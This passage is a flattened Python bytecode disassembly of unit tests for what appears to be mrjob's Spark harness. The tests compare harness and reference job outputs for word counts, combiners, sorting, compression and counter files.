JUMP_FORWARD to 20 LOAD_CONST 'local' STORE_FAST ref_job_runner_alias LOAD_FAST self LOAD_ATTR _reference_job LOAD_FAST job_class LOAD_FAST input_bytes LOAD_FAST input_paths LOAD_FAST job_args LOAD_FAST ref_job_runner_alias LOAD_CONST ('input_bytes', 'input_paths', 'job_args', 'runner_alias') CALL_FUNCTION STORE_FAST reference_job LOAD_FAST reference_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 78 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_GLOBAL sorted LOAD_GLOBAL to_lines LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_FUNCTION CALL_FUNCTION STORE_FAST reference_output POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST emulate_map_input_file POP_JUMP_IF_FALSE LOAD_CONST 'local' STORE_FAST harness_job_runner_alias JUMP_FORWARD to 98 LOAD_CONST 'inline' STORE_FAST harness_job_runner_alias LOAD_FAST self LOAD_ATTR _harness_job LOAD_FAST job_class LOAD_FAST input_bytes LOAD_FAST input_paths LOAD_FAST job_args LOAD_FAST max_output_files LOAD_FAST num_reducers LOAD_FAST emulate_map_input_file LOAD_FAST skip_internal_protocol LOAD_FAST harness_job_runner_alias LOAD_CONST ('input_bytes', 'input_paths', 'job_args', 'max_output_files', 'num_reducers', 'emulate_map_input_file', 'skip_internal_protocol', 'runner_alias') CALL_FUNCTION STORE_FAST harness_job LOAD_FAST harness_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 164 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_GLOBAL sorted LOAD_GLOBAL to_lines LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_FUNCTION CALL_FUNCTION STORE_FAST harness_output POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST harness_output LOAD_FAST reference_output CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SparkHarnessOutputComparisonTestCase' STORE_NAME __qualname__ LOAD_CONST <code object test_basic_job at 0x7fa90e62bc00, file "f.py", line 225> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_basic_job' MAKE_FUNCTION STORE_NAME test_basic_job LOAD_CONST <code object test_two_step_job at 0x7fa90e62be40, file "f.py", line 230> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_two_step_job' MAKE_FUNCTION STORE_NAME test_two_step_job LOAD_CONST <code object test_mixed_job at 0x7fa90e62b390, file "f.py", line 235> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_mixed_job' MAKE_FUNCTION STORE_NAME test_mixed_job LOAD_CONST <code object test_range_of_steps at 0x7fa90e62b270, file "f.py", line 252> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_range_of_steps' MAKE_FUNCTION STORE_NAME test_range_of_steps LOAD_CONST <code object test_compression at 0x7fa90e62b6f0, file "f.py", line 275> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_compression' MAKE_FUNCTION STORE_NAME test_compression LOAD_CONST <code object test_sort_values at 0x7fa90e62bc90, file "f.py", line 295> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_sort_values' MAKE_FUNCTION STORE_NAME test_sort_values LOAD_CONST <code object test_sort_values_sorts_encoded_values at 0x7fa90e62b930, file "f.py", line 300> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_sort_values_sorts_encoded_values' MAKE_FUNCTION STORE_NAME test_sort_values_sorts_encoded_values LOAD_CONST <code object test_passthru_args at 0x7fa90e62b0c0, file "f.py", line 316> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_passthru_args' MAKE_FUNCTION STORE_NAME test_passthru_args LOAD_CONST <code object test_combiner_called at 0x7fab80162660, file "f.py", line 325> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_combiner_called' MAKE_FUNCTION STORE_NAME test_combiner_called LOAD_CONST <code object test_combiner_that_yields_two_values at 0x7fab801624b0, file "f.py", line 338> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_combiner_that_yields_two_values' MAKE_FUNCTION STORE_NAME test_combiner_that_yields_two_values LOAD_CONST <code object test_combiner_that_yields_zero_values at 0x7fab801625d0, file "f.py", line 353> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_combiner_that_yields_zero_values' MAKE_FUNCTION STORE_NAME test_combiner_that_yields_zero_values LOAD_CONST <code object test_combiner_that_sometimes_yields_zero_values at 0x7fab80162300, file "f.py", line 367> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_combiner_that_sometimes_yields_zero_values' MAKE_FUNCTION STORE_NAME test_combiner_that_sometimes_yields_zero_values LOAD_CONST <code object test_skip_combiner_if_runs_subprocesses at 0x7fab80162db0, file "f.py", line 378> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_skip_combiner_if_runs_subprocesses' MAKE_FUNCTION STORE_NAME test_skip_combiner_if_runs_subprocesses LOAD_CONST <code object test_skip_combiner_if_cant_init_job at 0x7fab80162c00, file "f.py", line 391> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_skip_combiner_if_cant_init_job' MAKE_FUNCTION STORE_NAME test_skip_combiner_if_cant_init_job LOAD_CONST <code object test_skip_combiner_that_runs_cmd at 0x7fab80162e40, file "f.py", line 404> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_skip_combiner_that_runs_cmd' MAKE_FUNCTION STORE_NAME test_skip_combiner_that_runs_cmd LOAD_NAME contextmanager LOAD_CONST <code object create_temp_counter_dir at 0x7fab80162ae0, file "f.py", line 411> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.create_temp_counter_dir' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_temp_counter_dir LOAD_CONST <code object test_increment_counter at 0x7fab80162030, file "f.py", line 420> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_increment_counter' MAKE_FUNCTION STORE_NAME test_increment_counter LOAD_CONST <code object test_increment_counter_non_uri_path at 0x7fab80162270, file "f.py", line 445> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_increment_counter_non_uri_path' MAKE_FUNCTION STORE_NAME test_increment_counter_non_uri_path LOAD_CONST <code object test_job_with_no_mapper_in_second_step at 0x7fab801628a0, file "f.py", line 469> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.test_job_with_no_mapper_in_second_step' MAKE_FUNCTION STORE_NAME test_job_with_no_mapper_in_second_step LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'foo\nbar\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRTwoStepJob LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'foo\nbar\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRStreamingAndSpark LOAD_FAST input_bytes LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST ('input_bytes', 'first_step_num', 'last_step_num') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 72 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL set LOAD_GLOBAL to_lines LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_FUNCTION CALL_FUNCTION LOAD_CONST b'null\t"foo"\n' LOAD_CONST b'null\t"bar"\n' BUILD_SET CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'"three"\t3\n"five"\t5' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRDoubler LOAD_FAST input_bytes LOAD_CONST '-n' LOAD_CONST '5' BUILD_LIST LOAD_CONST ('input_bytes', 'job_args') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRDoubler LOAD_FAST input_bytes LOAD_CONST '-n' LOAD_CONST '5' BUILD_LIST LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST ('input_bytes', 'job_args', 'first_step_num', 'last_step_num') CALL_FUNCTION STORE_FAST steps_2_and_3_job LOAD_FAST steps_2_and_3_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 104 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST steps_2_and_3_job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 12 LOAD_CONST 20 LOAD_CONST ('three', 'five') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 'org.apache.hadoop.io.compress.GzipCodec' STORE_FAST compression_codec LOAD_CONST b'fa la la la la\nla la la la\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_FAST compression_codec LOAD_CONST ('input_bytes', 'compression_codec') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 108 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST runner LOAD_ATTR fs LOAD_METHOD exists LOAD_GLOBAL join LOAD_FAST runner LOAD_METHOD get_output_dir CALL_METHOD LOAD_CONST 'part*.gz' CALL_FUNCTION CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 1 LOAD_CONST 8 LOAD_CONST ('fa', 'la') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRSortAndGroup LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRSortAndGroupReversedText LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 86 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'artichoke' LOAD_CONST 'alligator' LOAD_CONST 'actuary' BUILD_LIST LOAD_CONST 'bowling' LOAD_CONST 'balloon' LOAD_CONST 'baby' BUILD_LIST LOAD_CONST ('a', 'b') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'\n' LOAD_METHOD join LOAD_CONST b'to be or' LOAD_CONST b'not to be' LOAD_CONST b'that is the question' BUILD_LIST CALL_METHOD STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRPassThruArgTest LOAD_FAST input_bytes LOAD_CONST '--chars' LOAD_CONST '--ignore' LOAD_CONST 'to' BUILD_LIST LOAD_CONST ('input_bytes', 'job_args') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'one two three one two three one two three' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCountFailingCombiner LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 62 STORE_FAST runner LOAD_FAST self LOAD_METHOD assertRaises LOAD_GLOBAL Exception CALL_METHOD SETUP_WITH to 52 STORE_FAST assert_raises_context LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST assert_raises_context LOAD_ATTR exception LOAD_METHOD __str__ CALL_METHOD STORE_FAST exception_text LOAD_GLOBAL MRWordFreqCountFailingCombiner LOAD_ATTR unique_exception_str STORE_FAST expected_str LOAD_FAST expected_str LOAD_FAST exception_text COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'one two three one two three one two three' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCountCombinerYieldsTwo LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 76 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 1003 LOAD_CONST 1003 LOAD_CONST 1003 LOAD_CONST ('one', 'two', 'three') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'a b c\na b c\na b c\na b c' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCountCombinerYieldsZero LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 68 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'happy\t5\nsad\t3\nhappy\t2\nsad\t-3\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRSumValuesByWord LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 72 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 7 LOAD_CONST ('happy',) CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'happy\t5\nsad\t3\nhappy\t2\nsad\t-3\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRSumValuesByWordWithCombinerPreFilter LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 74 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 7 LOAD_CONST 0 LOAD_CONST ('happy', 'sad') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'happy\t5\nsad\t3\nhappy\t2\nsad\t-3\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRSumValuesByWordWithNoCombinerJobs LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 74 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 7 LOAD_CONST 0 LOAD_CONST ('happy', 'sad') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRWordFreqCountWithCombinerCmd LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'test_' LOAD_CONST '' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab80162930, file "f.py", line 414> LOAD_CONST 'SparkHarnessOutputComparisonTestCase.create_temp_counter_dir.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 10 CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD BINARY_ADD STORE_FAST random_folder_name LOAD_GLOBAL join LOAD_GLOBAL gettempdir CALL_FUNCTION LOAD_FAST random_folder_name CALL_FUNCTION STORE_FAST output_counter_dir LOAD_FAST output_counter_dir YIELD_VALUE POP_TOP LOAD_GLOBAL rmtree LOAD_FAST output_counter_dir CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 28 STORE_FAST _ LOAD_GLOBAL random LOAD_METHOD choice LOAD_GLOBAL string LOAD_ATTR ascii_uppercase LOAD_GLOBAL string LOAD_ATTR digits BINARY_ADD CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _reference_job LOAD_GLOBAL MRCountingJob LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST reference_job LOAD_FAST reference_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 48 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST runner LOAD_METHOD counters CALL_METHOD STORE_FAST reference_counters POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_METHOD create_temp_counter_dir CALL_METHOD SETUP_WITH to 148 STORE_FAST output_counter_dir LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRCountingJob LOAD_FAST input_bytes LOAD_CONST 'file://{}' LOAD_METHOD format LOAD_FAST output_counter_dir CALL_METHOD LOAD_CONST ('input_bytes', 'counter_output_dir') CALL_FUNCTION STORE_FAST harness_job LOAD_FAST harness_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 138 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_GLOBAL json LOAD_METHOD loads LOAD_FAST self LOAD_ATTR spark_context LOAD_METHOD textFile LOAD_CONST 'file://' LOAD_FAST output_counter_dir BINARY_ADD CALL_METHOD LOAD_METHOD collect CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD STORE_FAST harness_counters POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST harness_counters LOAD_FAST reference_counters CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _reference_job LOAD_GLOBAL MRCountingJob LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST reference_job LOAD_FAST reference_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 48 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST runner LOAD_METHOD counters CALL_METHOD STORE_FAST reference_counters POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_METHOD create_temp_counter_dir CALL_METHOD SETUP_WITH to 168 STORE_FAST output_counter_dir LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRCountingJob LOAD_FAST input_bytes LOAD_CONST '{}' LOAD_METHOD format LOAD_FAST output_counter_dir CALL_METHOD LOAD_CONST ('input_bytes', 'counter_output_dir') CALL_FUNCTION STORE_FAST harness_job LOAD_FAST harness_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 158 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_GLOBAL join LOAD_FAST output_counter_dir LOAD_CONST 'part-00000' CALL_FUNCTION STORE_FAST path LOAD_GLOBAL open LOAD_FAST path LOAD_CONST 'r' CALL_FUNCTION SETUP_WITH to 138 STORE_FAST rb LOAD_FAST rb LOAD_METHOD read CALL_METHOD STORE_FAST counters POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL json LOAD_METHOD loads LOAD_FAST counters CALL_METHOD STORE_FAST harness_counters POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST harness_counters LOAD_FAST reference_counters CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRNoMapper LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SkipInternalProtocolTestCase' STORE_NAME __qualname__ LOAD_CONST <code object test_basic_job at 0x7fab80162540, file "f.py", line 476> LOAD_CONST 'SkipInternalProtocolTestCase.test_basic_job' MAKE_FUNCTION STORE_NAME test_basic_job LOAD_CONST <code object test_two_step_job at 0x7fab80162a50, file "f.py", line 483> LOAD_CONST 'SkipInternalProtocolTestCase.test_two_step_job' MAKE_FUNCTION STORE_NAME test_two_step_job LOAD_CONST <code object test_sort_values at 0x7fab80162420, file "f.py", line 490> LOAD_CONST 'SkipInternalProtocolTestCase.test_sort_values' MAKE_FUNCTION STORE_NAME test_sort_values LOAD_CONST <code object test_sort_values_sorts_unencoded_values at 0x7fab80162150, file "f.py", line 497> LOAD_CONST 'SkipInternalProtocolTestCase.test_sort_values_sorts_unencoded_values' MAKE_FUNCTION STORE_NAME test_sort_values_sorts_unencoded_values LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_CONST True LOAD_CONST ('input_bytes', 'skip_internal_protocol') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'foo\nbar\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRTwoStepJob LOAD_FAST input_bytes LOAD_CONST True LOAD_CONST ('input_bytes', 'skip_internal_protocol') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRSortAndGroup LOAD_FAST input_bytes LOAD_CONST True LOAD_CONST ('input_bytes', 'skip_internal_protocol') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRSortAndGroupReversedText LOAD_FAST input_bytes LOAD_CONST True LOAD_CONST ('input_bytes', 'skip_internal_protocol') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 88 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL dict LOAD_FAST job LOAD_METHOD parse_output LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_METHOD CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'actuary' LOAD_CONST 'alligator' LOAD_CONST 'artichoke' BUILD_LIST LOAD_CONST 'baby' LOAD_CONST 'balloon' LOAD_CONST 'bowling' BUILD_LIST LOAD_CONST ('a', 'b') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SparkConfigureReducerTestCase' STORE_NAME __qualname__ LOAD_CONST <code object _assert_partition_count_different at 0x7fab81f3b030, file "f.py", line 519> LOAD_CONST 'SparkConfigureReducerTestCase._assert_partition_count_different' MAKE_FUNCTION STORE_NAME _assert_partition_count_different LOAD_CONST <code object test_num_reducers_cannot_be_set_to_zero at 0x7fab81f3b0c0, file "f.py", line 534> LOAD_CONST 'SparkConfigureReducerTestCase.test_num_reducers_cannot_be_set_to_zero' MAKE_FUNCTION STORE_NAME test_num_reducers_cannot_be_set_to_zero LOAD_CONST <code object test_reducer_less_reducer at 0x7fab81f3b540, file "f.py", line 540> LOAD_CONST 'SparkConfigureReducerTestCase.test_reducer_less_reducer' MAKE_FUNCTION STORE_NAME test_reducer_less_reducer LOAD_CONST <code object test_reducer_more_reducer at 0x7fab81f3b8a0, file "f.py", line 543> LOAD_CONST 'SparkConfigureReducerTestCase.test_reducer_more_reducer' MAKE_FUNCTION STORE_NAME test_reducer_more_reducer LOAD_CONST <code object test_combiner_less_reducer at 0x7fab81f3b4b0, file "f.py", line 546> LOAD_CONST 'SparkConfigureReducerTestCase.test_combiner_less_reducer' MAKE_FUNCTION STORE_NAME test_combiner_less_reducer LOAD_CONST <code object test_combiner_more_reducer at 0x7fab81f3b5d0, file "f.py", line 551> LOAD_CONST 'SparkConfigureReducerTestCase.test_combiner_more_reducer' MAKE_FUNCTION STORE_NAME test_combiner_more_reducer LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_FAST cls LOAD_FAST input_bytes LOAD_CONST ('input_bytes',) CALL_FUNCTION STORE_FAST unlimited_job LOAD_FAST unlimited_job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 50 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _count_output_files 